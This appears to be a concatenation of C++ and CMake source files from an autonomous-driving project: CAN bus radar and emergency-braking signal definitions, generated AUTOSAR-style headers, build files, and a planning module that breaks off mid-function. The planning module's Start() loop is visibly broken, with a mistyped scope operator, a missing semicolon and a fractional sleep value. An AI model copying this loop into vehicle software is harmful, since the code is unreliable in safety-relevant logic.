t1.get_byte(0, 8); x <<= 8; x |= t; int ret = static_cast<int>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_0X239_239_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_0X239_239_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Mrr0x239239 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Mrr0x239239(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; void checksum_rolling(); // config detail: {'name': 'ACC_UpperComftBandReq', 'enum': {0: 'ACC_UPPERCOMFTBANDREQ_NO_DEMAND', 1: 'ACC_UPPERCOMFTBANDREQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_acc_uppercomftbandreq(Mrr_0x239_239::Acc_uppercomftbandreqType acc_uppercomftbandreq); // config detail: {'name': 'ACC_BrakePreferred', 'enum': {0: 'ACC_BRAKEPREFERRED_NO_DEMAND', 1: 'ACC_BRAKEPREFERRED_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_acc_brakepreferred(Mrr_0x239_239::Acc_brakepreferredType acc_brakepreferred); // config detail: {'name': 'EBA_Req', 'enum': {0: 'EBA_REQ_NO_DEMAND', 1: 'EBA_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_eba_req(Mrr_0x239_239::Eba_reqType eba_req); // config detail: {'name': 'AEB_Req', 'enum': {0: 'AEB_REQ_NO_DEMAND', 1: 'AEB_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_aeb_req(Mrr_0x239_239::Aeb_reqType aeb_req); // config detail: {'name': 'ACC_StandstillReq', 'enum': {0: 'ACC_STANDSTILLREQ_NO_DEMAND', 1: 'ACC_STANDSTILLREQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_acc_standstillreq(Mrr_0x239_239::Acc_standstillreqType acc_standstillreq); // config detail: {'name': 'ACC_DriveOff', 'enum': {0: 'ACC_DRIVEOFF_NO_DEMAND', 1: 'ACC_DRIVEOFF_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_acc_driveoff(Mrr_0x239_239::Acc_driveoffType acc_driveoff); // config detail: {'name': 'AWB_Level', 'enum': {0: 'AWB_LEVEL_NO_LEVEL', 1: 'AWB_LEVEL_LEVEL_1', 2: 'AWB_LEVEL_LEVEL_2', 3: 'AWB_LEVEL_LEVEL_3', 4: 'AWB_LEVEL_LEVEL_4'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_awb_level(Mrr_0x239_239::Awb_levelType awb_level); // config detail: {'name': 'ABP_Req', 'enum': {0: 'ABP_REQ_NO_DEMAND', 1: 'ABP_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_abp_req(Mrr_0x239_239::Abp_reqType abp_req); // config detail: {'name': 'AWB_Req', 'enum': {0: 'AWB_REQ_NO_DEMAND', 1: 'AWB_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_awb_req(Mrr_0x239_239::Awb_reqType awb_req); // config detail: {'name': 'ABA_Req', 'enum': {0: 'ABA_REQ_NO_DEMAND', 1: 'ABA_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_aba_req(Mrr_0x239_239::Aba_reqType aba_req); // config detail: {'name': 'AEB_TgtAx', 'offset': -16.0, 'precision': 0.05, 'len': 16, 'is_signed_var': False, 'physical_range': '[-16|16]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} Mrr0x239239* set_aeb_tgtax(double aeb_tgtax); // config detail: {'name': 'ACC_State', 'enum': {0: 'ACC_STATE_OFF_MODE', 1: 'ACC_STATE_PASSIVE_MODE', 2: 'ACC_STATE_STAND_BY_MODE', 3: 'ACC_STATE_ACTIVE_CONTROL_MODE', 4: 'ACC_STATE_BRAKE_ONLY_MODE', 5: 'ACC_STATE_OVERRIDE', 6: 'ACC_STATE_STANDSTILL', 7: 'ACC_STATE_FAILURE_MODE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_acc_state(Mrr_0x239_239::Acc_stateType acc_state); // config detail: {'name': 'Rolling_counter_0x239', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_rolling_counter_0x239(int rolling_counter_0x239); // config detail: {'name': 'Checksum_0x239', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_checksum_0x239(int checksum_0x239); // config detail: {'name': 'ShutdownMode', 'enum': {0: 'SHUTDOWNMODE_SOFT_OFF', 1: 'SHUTDOWNMODE_FAST_OFF', 2: 'SHUTDOWNMODE_RESERVED', 3: 'SHUTDOWNMODE_INITIAL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_shutdownmode(Mrr_0x239_239::ShutdownmodeType shutdownmode); // config detail: {'name': 'ABA_Level', 'enum': {0: 'ABA_LEVEL_LEVEL_0', 1: 'ABA_LEVEL_LEVEL_1', 2: 'ABA_LEVEL_LEVEL_2', 3: 'ABA_LEVEL_LEVEL_3'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x239239* set_aba_level(Mrr_0x239_239::Aba_levelType aba_level); private: // config detail: {'name': 'ACC_UpperComftBandReq', 'enum': {0: 'ACC_UPPERCOMFTBANDREQ_NO_DEMAND', 1: 'ACC_UPPERCOMFTBANDREQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acc_uppercomftbandreq(uint8_t* data, Mrr_0x239_239::Acc_uppercomftbandreqType acc_uppercomftbandreq); // config detail: {'name': 'ACC_BrakePreferred', 'enum': {0: 'ACC_BRAKEPREFERRED_NO_DEMAND', 1: 'ACC_BRAKEPREFERRED_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acc_brakepreferred(uint8_t* data, Mrr_0x239_239::Acc_brakepreferredType acc_brakepreferred); // config detail: {'name': 'EBA_Req', 'enum': {0: 'EBA_REQ_NO_DEMAND', 1: 'EBA_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_eba_req(uint8_t* data, Mrr_0x239_239::Eba_reqType eba_req); // config detail: {'name': 'AEB_Req', 'enum': {0: 'AEB_REQ_NO_DEMAND', 1: 'AEB_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_aeb_req(uint8_t* data, Mrr_0x239_239::Aeb_reqType aeb_req); // config detail: {'name': 'ACC_StandstillReq', 'enum': {0: 'ACC_STANDSTILLREQ_NO_DEMAND', 1: 'ACC_STANDSTILLREQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acc_standstillreq(uint8_t* data, Mrr_0x239_239::Acc_standstillreqType acc_standstillreq); // config detail: {'name': 'ACC_DriveOff', 'enum': {0: 'ACC_DRIVEOFF_NO_DEMAND', 1: 'ACC_DRIVEOFF_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acc_driveoff(uint8_t* data, Mrr_0x239_239::Acc_driveoffType acc_driveoff); // config detail: {'name': 'AWB_Level', 'enum': {0: 'AWB_LEVEL_NO_LEVEL', 1: 'AWB_LEVEL_LEVEL_1', 2: 'AWB_LEVEL_LEVEL_2', 3: 'AWB_LEVEL_LEVEL_3', 4: 'AWB_LEVEL_LEVEL_4'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_awb_level(uint8_t* data, Mrr_0x239_239::Awb_levelType awb_level); // config detail: {'name': 'ABP_Req', 'enum': {0: 'ABP_REQ_NO_DEMAND', 1: 'ABP_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_abp_req(uint8_t* data, Mrr_0x239_239::Abp_reqType abp_req); // config detail: {'name': 'AWB_Req', 'enum': {0: 'AWB_REQ_NO_DEMAND', 1: 'AWB_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_awb_req(uint8_t* data, Mrr_0x239_239::Awb_reqType awb_req); // config detail: {'name': 'ABA_Req', 'enum': {0: 'ABA_REQ_NO_DEMAND', 1: 'ABA_REQ_DEMAND'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_aba_req(uint8_t* data, Mrr_0x239_239::Aba_reqType aba_req); // config detail: {'name': 'AEB_TgtAx', 'offset': -16.0, 'precision': 0.05, 'len': 16, 'is_signed_var': False, 'physical_range': '[-16|16]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': 'm s2'} void set_p_aeb_tgtax(uint8_t* data, double aeb_tgtax); // config detail: {'name': 'ACC_State', 'enum': {0: 'ACC_STATE_OFF_MODE', 1: 'ACC_STATE_PASSIVE_MODE', 2: 'ACC_STATE_STAND_BY_MODE', 3: 'ACC_STATE_ACTIVE_CONTROL_MODE', 4: 'ACC_STATE_BRAKE_ONLY_MODE', 5: 'ACC_STATE_OVERRIDE', 6: 'ACC_STATE_STANDSTILL', 7: 'ACC_STATE_FAILURE_MODE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acc_state(uint8_t* data, Mrr_0x239_239::Acc_stateType acc_state); // config detail: {'name': 'Rolling_counter_0x239', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_rolling_counter_0x239(uint8_t* data, int rolling_counter_0x239); // config detail: {'name': 'Checksum_0x239', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_checksum_0x239(uint8_t* data, int checksum_0x239); // config detail: {'name': 'ShutdownMode', 'enum': {0: 'SHUTDOWNMODE_SOFT_OFF', 1: 'SHUTDOWNMODE_FAST_OFF', 2: 'SHUTDOWNMODE_RESERVED', 3: 'SHUTDOWNMODE_INITIAL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_shutdownmode(uint8_t* data, Mrr_0x239_239::ShutdownmodeType shutdownmode); // config detail: {'name': 'ABA_Level', 'enum': {0: 'ABA_LEVEL_LEVEL_0', 1: 'ABA_LEVEL_LEVEL_1', 2: 'ABA_LEVEL_LEVEL_2', 3: 'ABA_LEVEL_LEVEL_3'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_aba_level(uint8_t* data, Mrr_0x239_239::Aba_levelType aba_level); private: Mrr_0x239_239::Acc_uppercomftbandreqType acc_uppercomftbandreq_; Mrr_0x239_239::Acc_brakepreferredType acc_brakepreferred_; Mrr_0x239_239::Eba_reqType eba_req_; Mrr_0x239_239::Aeb_reqType aeb_req_; Mrr_0x239_239::Acc_standstillreqType acc_standstillreq_; Mrr_0x239_239::Acc_driveoffType acc_driveoff_; Mrr_0x239_239::Awb_levelType awb_level_; Mrr_0x239_239::Abp_reqType abp_req_; Mrr_0x239_239::Awb_reqType awb_req_; Mrr_0x239_239::Aba_reqType aba_req_; double aeb_tgtax_; Mrr_0x239_239::Acc_stateType acc_state_; int rolling_counter_0x239_; int checksum_0x239_; Mrr_0x239_239::ShutdownmodeType shutdownmode_; Mrr_0x239_239::Aba_levelType aba_level_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_MRR_0X239_239_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_vehiclesignal_h #define impl_type_vehiclesignal_h #include "impl_type_turnsignal.h" #include "impl_type_bool.h" struct VehicleSignal { ::TurnSignal turn_signal; ::Bool high_beam; ::Bool low_beam; ::Bool horn; ::Bool emergency_light; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(turn_signal); fun(high_beam); fun(low_beam); fun(horn); fun(emergency_light); } template<typename F> void enumerate(F& fun) const { fun(turn_signal); fun(high_beam); fun(low_beam); fun(horn); fun(emergency_light); } bool operator == (const ::VehicleSignal& t) const { return (turn_signal == t.turn_signal) && (high_beam == t.high_beam) && (low_beam == t.low_beam) && (horn == t.horn) && (emergency_light == t.emergency_light); } }; #endif // impl_type_vehiclesignal_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef mdc_sensor_cantxserviceinterface_skeleton_h #define mdc_sensor_cantxserviceinterface_skeleton_h #include "ara/com/internal/skeleton/SkeletonAdapter.h" #include "ara/com/internal/skeleton/EventAdapter.h" #include "ara/com/internal/skeleton/FieldAdapter.h" #include "mdc/sensor/cantxserviceinterface_common.h" #include "impl_type_canbusdataparam.h" #include <cstdint> namespace mdc { namespace sensor { namespace skeleton { namespace events { using CanDataTxEvent = ara::com::internal::skeleton::event::EventAdapter<::CanBusDataParam>; static constexpr ara::com::internal::EntityId CanDataTxEventId = 26928; //CanDataTxEvent_event_hash } namespace methods { } namespace fields { } class CanTxServiceInterfaceSkeleton : public ara::com::internal::skeleton::SkeletonAdapter { public: explicit CanTxServiceInterfaceSkeleton(ara::com::InstanceIdentifier instanceId, ara::com::MethodCallProcessingMode mode = ara::com::MethodCallProcessingMode::kEvent) :ara::com::internal::skeleton::SkeletonAdapter(::mdc::sensor::CanTxServiceInterface::ServiceIdentifier, instanceId, mode), CanDataTxEvent(GetSkeleton(), events::CanDataTxEventId) { } CanTxServiceInterfaceSkeleton(const CanTxServiceInterfaceSkeleton&) = delete; CanTxServiceInterfaceSkeleton& operator=(const CanTxServiceInterfaceSkeleton&) = delete; CanTxServiceInterfaceSkeleton(CanTxServiceInterfaceSkeleton&& other) = default; CanTxServiceInterfaceSkeleton& operator=(CanTxServiceInterfaceSkeleton&& other) = default; virtual ~CanTxServiceInterfaceSkeleton() { ara::com::internal::skeleton::SkeletonAdapter::StopOfferService(); } void OfferService() { InitializeEvent(CanDataTxEvent); ara::com::internal::skeleton::SkeletonAdapter::OfferService(); } events::CanDataTxEvent CanDataTxEvent; }; } // namespace skeleton } // namespace sensor } // namespace mdc #endif // mdc_sensor_cantxserviceinterface_skeleton_h <file_sep>#include "modules/common/jmc_auto_app.h" #include "modules/control/common/control_gflags.h" #include "modules/control/control.h" JMC_AUTO_MAIN(jmc_auto::control::Control); <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(rtk_planner rtk_replay_planner.cc rtk_replay_planner.h) target_link_libraries(rtk_planner /cyber/common:log pnc_point_proto /modules/common/util factory vehicle_state_provider planning_common /modules/planning/math/curve1d:quartic_polynomial_curve1d /modules/planning/planner planning_config_proto planning_proto com_github_gflags_gflags//:gflags com_google_absl//absl/strings eigen) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(canbus_ch_protocol INTERFACE) target_link_libraries(canbus_ch_protocol INTERFACE brake_command_111 brake_status__511 control_command_115 ecu_status_1_515 ecu_status_2_516 ecu_status_3_517 gear_command_114 gear_status_514 steer_command_112 steer_status__512 throttle_command_110 throttle_status__510 turnsignal_command_113 turnsignal_status__513) add_library(brake_command_111 brake_command_111.cc brake_command_111.h) target_link_libraries(brake_command_111 canbus_proto message_manager_base canbus_common) add_library(brake_status__511 brake_status__511.cc brake_status__511.h) target_link_libraries(brake_status__511 canbus_proto message_manager_base canbus_common) add_library(control_command_115 control_command_115.cc control_command_115.h) target_link_libraries(control_command_115 canbus_proto message_manager_base canbus_common) add_library(ecu_status_1_515 ecu_status_1_515.cc ecu_status_1_515.h) target_link_libraries(ecu_status_1_515 canbus_proto message_manager_base canbus_common) add_library(ecu_status_2_516 ecu_status_2_516.cc ecu_status_2_516.h) target_link_libraries(ecu_status_2_516 canbus_proto message_manager_base canbus_common) add_library(ecu_status_3_517 ecu_status_3_517.cc ecu_status_3_517.h) target_link_libraries(ecu_status_3_517 canbus_proto message_manager_base canbus_common) add_library(gear_command_114 gear_command_114.cc gear_command_114.h) target_link_libraries(gear_command_114 canbus_proto message_manager_base canbus_common) add_library(gear_status_514 gear_status_514.cc gear_status_514.h) target_link_libraries(gear_status_514 canbus_proto message_manager_base canbus_common) add_library(steer_command_112 steer_command_112.cc steer_command_112.h) target_link_libraries(steer_command_112 canbus_proto message_manager_base canbus_common) add_library(steer_status__512 steer_status__512.cc steer_status__512.h) target_link_libraries(steer_status__512 canbus_proto message_manager_base canbus_common) add_library(throttle_command_110 throttle_command_110.cc throttle_command_110.h) target_link_libraries(throttle_command_110 canbus_proto message_manager_base canbus_common) add_library(throttle_status__510 throttle_status__510.cc throttle_status__510.h) target_link_libraries(throttle_status__510 canbus_proto message_manager_base canbus_common) add_library(turnsignal_command_113 turnsignal_command_113.cc turnsignal_command_113.h) target_link_libraries(turnsignal_command_113 canbus_proto message_manager_base canbus_common) add_library(turnsignal_status__513 turnsignal_status__513.cc turnsignal_status__513.h) target_link_libraries(turnsignal_status__513 canbus_proto message_manager_base canbus_common) <file_sep>/****************************************************************************** * Copyright 2018 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/planning/planning.h" //#include "cyber/common/file.h" #include "modules/common/util/file.h" #include "modules/common/adapters/adapter_gflags.h" #include "modules/common/configs/config_gflags.h" //#include "modules/common/util/threadpool.h" #include "modules/common/util/message_util.h" #include "modules/common/util/util.h" #include "modules/map/hdmap/hdmap_util.h" #include "modules/map/pnc_map/pnc_map.h" #include "modules/planning/common/history.h" #include "modules/planning/common/planning_context.h" //#include "modules/planning/navi_planning.h" #include "modules/planning/on_lane_planning.h" #include "modules/common/time/jmcauto_time.h" #include "modules/common/adapters/adapter_manager.h" namespace jmc_auto { namespace planning { using jmc_auto::hdmap::HDMapUtil; using jmc_auto::hdmap::ParkingSpaceInfoConstPtr; using jmc_auto::common::math::Vec2d; //using jmc_auto::perception::TrafficLightDetection; //using jmc_auto::relative_map::MapMsg; using jmc_auto::routing::RoutingRequest; using jmc_auto::routing::RoutingResponse; using jmc_auto::common::adapter::AdapterManager; using jmc_auto::common::Status; using jmc_auto::common::ErrorCode; Planning::~Planning() { Stop(); } std::string Planning::Name() const { return "planning"; } #define CHECK_ADAPTER(NAME) \ if (AdapterManager::Get##NAME() == nullptr) { \ AERROR << #NAME << " is not registered"; \ return Status(ErrorCode::PLANNING_ERROR, #NAME " is not registered"); \ } Status Planning::Init() { //if (FLAGS_use_navigation_mode) { //planning_base_ = std::make_unique<NaviPlanning>(); //} else { planning_base_ = std::make_unique<OnLanePlanning>(); //} CHECK(jmc_auto::common::util::GetProtoFromFile(FLAGS_planning_config_file, &config_)) << "failed to load planning config file " << FLAGS_planning_config_file; // CHECK(jmc_auto::common::util::GetProtoFromFile(FLAGS_planning_mode_config_file, // &mode_config_)) // << "failed to load planning mode config file " << FLAGS_planning_mode_config_file; planning_base_->Init(config_); //判断需要启动的模式 // if(mode_config_.calldriving().enabled()){ // routing_request_ = mode_config_.calldriving().routingrequest(); // AdapterManager::FillRoutingRequestHeader(Name(), &routing_request_); // AdapterManager::PublishRoutingRequest(routing_request_); // AINFO << "planning mode is call driving"; // }else if(mode_config_.parking().enabled()){ // if(mode_config_.parking().ownparking().enabled()){ // routing_request_ = mode_config_.parking().ownparking().routingrequest(); // AdapterManager::FillRoutingRequestHeader(Name(), &routing_request_); // AdapterManager::PublishRoutingRequest(routing_request_); // AINFO << "planning mode is own parking"; // }else if(mode_config_.parking().flowparking().enabled()){ // routing_request_ = mode_config_.parking().ownparking().routingrequest(); // AdapterManager::FillRoutingRequestHeader(Name(), &routing_request_); // AdapterManager::PublishRoutingRequest(routing_request_); // AINFO << "planning mode is flow parking"; // }else{ // AERROR << "parking mode is error"; // return Status(ErrorCode::PLANNING_ERROR, "parking mode is error"); // } // }else{ // AERROR << "mode is not set"; // return Status(ErrorCode::PLANNING_ERROR, "mode is not set"); // } // routing_reader_ = node_->CreateReader<RoutingResponse>( // FLAGS_routing_response_topic, // [this](const std::shared_ptr<RoutingResponse>& routing) { // AINFO << "Received routing data: run routing callback." // << routing->header().DebugString(); // std::lock_guard<std::mutex> lock(mutex_); // routing_.CopyFrom(*routing); // }); // traffic_light_reader_ = node_->CreateReader<TrafficLightDetection>( // FLAGS_traffic_light_detection_topic, // [this](const std::shared_ptr<TrafficLightDetection>& traffic_light) { // ADEBUG << "Received traffic light data: run traffic light callback."; // std::lock_guard<std::mutex> lock(mutex_); // traffic_light_.CopyFrom(*traffic_light); // }); // pad_msg_reader_ = node_->CreateReader<PadMessage>( // FLAGS_planning_pad_topic, // [this](const std::shared_ptr<PadMessage>& pad_msg) { // ADEBUG << "Received pad data: run pad callback."; // std::lock_guard<std::mutex> lock(mutex_); // pad_msg_.CopyFrom(*pad_msg); // }); // initialize planning thread pool // PlanningThreadPool::instance()->Init(); if (!AdapterManager::Initialized()) { AdapterManager::Init(FLAGS_planning_adapter_config_filename); } CHECK_ADAPTER(Localization); CHECK_ADAPTER(Chassis); CHECK_ADAPTER(RoutingResponse); CHECK_ADAPTER(RoutingRequest); //CHECK_ADAPTER(Prediction); //CHECK_ADAPTER(ParkingSpaceDetection); AdapterManager::AddRoutingResponseCallback(&Planning::RoutingCallback, this); // if (FLAGS_use_navigation_mode) { // relative_map_reader_ = node_->CreateReader<MapMsg>( // FLAGS_relative_map_topic, // [this](const std::shared_ptr<MapMsg>& map_message) { // ADEBUG << "Received relative map data: run relative map callback."; // std::lock_guard<std::mutex> lock(mutex_); // relative_map_.CopyFrom(*map_message); // }); // } // planning_writer_ = // node_->CreateWriter<ADCTrajectory>(FLAGS_planning_trajectory_topic); // rerouting_writer_ = // node_->CreateWriter<RoutingRequest>(FLAGS_routing_request_topic); return Status::OK(); } void Planning::RoutingCallback(const routing::RoutingResponse &routing){ routing_.CopyFrom(routing); } Status Planning::Start() { //timer_ = AdapterManager::CreateTimer( // ros::Duration(1.0 / FLAGS_planning_loop_rate), &Planning::OnTimer, this); // The "reference_line_provider_" may not be created yet in navigation mode. // It is necessary to check its existence. // if (reference_line_provider_) { // reference_line_provider_->Start(); // } //start_time_ = Clock::NowInSeconds(); while (1) { Planning:OnTimer(); sleep(1.0/FLAGS_planning_root_date) } AINFO << "Planning started"; return Status::OK(); } void Planning::OnTimer() { AdapterManager::Observe(); auto chassis_adapter = AdapterManager::GetChassis(); if (chassis_adapter->Empty()){ AINFO<< "not chassis msg"; return; } //ACHECK(prediction_obstacles != nullptr); // check and process possible rerouting request //CheckRerouting(); //流动车位模式获取空闲车位信息 // if(mode_config_.parking().flowparking().enabled()){ // local_view_.parkingspace = AdapterManager::GetParkingSpaceDetection()->GetLatestObserved(); // CheckRerouting(); // } // process fused input data //local_view_.prediction_obstacles = prediction_obstacles; chassis_ = chassis_adapter->GetLatestObserved(); auto localization_adapter = AdapterManager::GetLocalization(); if (localization_adapter->Empty()){ AINFO<< "not localization msg"; return; } localization_ = localization_adapter->GetLatestObserved(); local_view_.chassis = std::make_shared<canbus::Chassis>(chassis_); local_view_.localization_estimate = std::make_shared<localization::LocalizationEstimate>(localization_); //routing_ = AdapterManager::GetRoutingResponse()->GetLatestObservedStdPtr(); auto prediction_adapter = AdapterManager::GetPrediction(); if (!prediction_adapter->Empty()){ prediction_obstacles_ = prediction_adapter->GetLatestObserved(); local_view_.prediction_obstacles = std::make_shared<prediction::PredictionObstacles>(prediction_obstacles_); // ADEBUG << "Prediction obstacles nums: " << local_view_.prediction_obstacles->prediction_obstacle().size(); } { std::lock_guard<std::mutex> lock(mutex_); if (!local_view_.routing || hdmap::PncMap::IsNewRouting(*local_view_.routing, routing_)) { local_view_.routing = std::make_shared<routing::RoutingResponse>(routing_); //std::make_shared<routing::RoutingResponse>(routing_); } } // { // std::lock_guard<std::mutex> lock(mutex_); // local_view_.traffic_light = // std::make_shared<TrafficLightDetection>(traffic_light_); // local_view_.relative_map = std::make_shared<MapMsg>(relative_map_); // } // { // std::lock_guard<std::mutex> lock(mutex_); // local_view_.pad_msg = std::make_shared<PadMessage>(pad_msg_); // } // if(local_view_.routing->waypoint().pose() == local_view_.localization_estimate->position() && // local_view_.chassis->speed() <= 1e-2){ // if(mode_config_.parking().enabled()){ // //切换泊车系统 // }else if(mode_config_.calldriving().enabled()){ // //上报召唤结果 // } // } // else{ if (!CheckInput()) { AERROR << "Input check failed"; return; } count_++; ADEBUG << "COUNT:" << count_; if(count_ > 30){ CheckParkingSpace(); } ADCTrajectory adc_trajectory_pb; planning_base_->RunOnce(local_view_, &adc_trajectory_pb); auto start_time = adc_trajectory_pb.header().timestamp_sec(); AdapterManager::FillPlanningHeader(Name(), &adc_trajectory_pb); // modify trajectory relative time due to the timestamp change in header const double dt = start_time - adc_trajectory_pb.header().timestamp_sec(); for (auto& p : *adc_trajectory_pb.mutable_trajectory_point()) { p.set_relative_time(p.relative_time() + dt); } 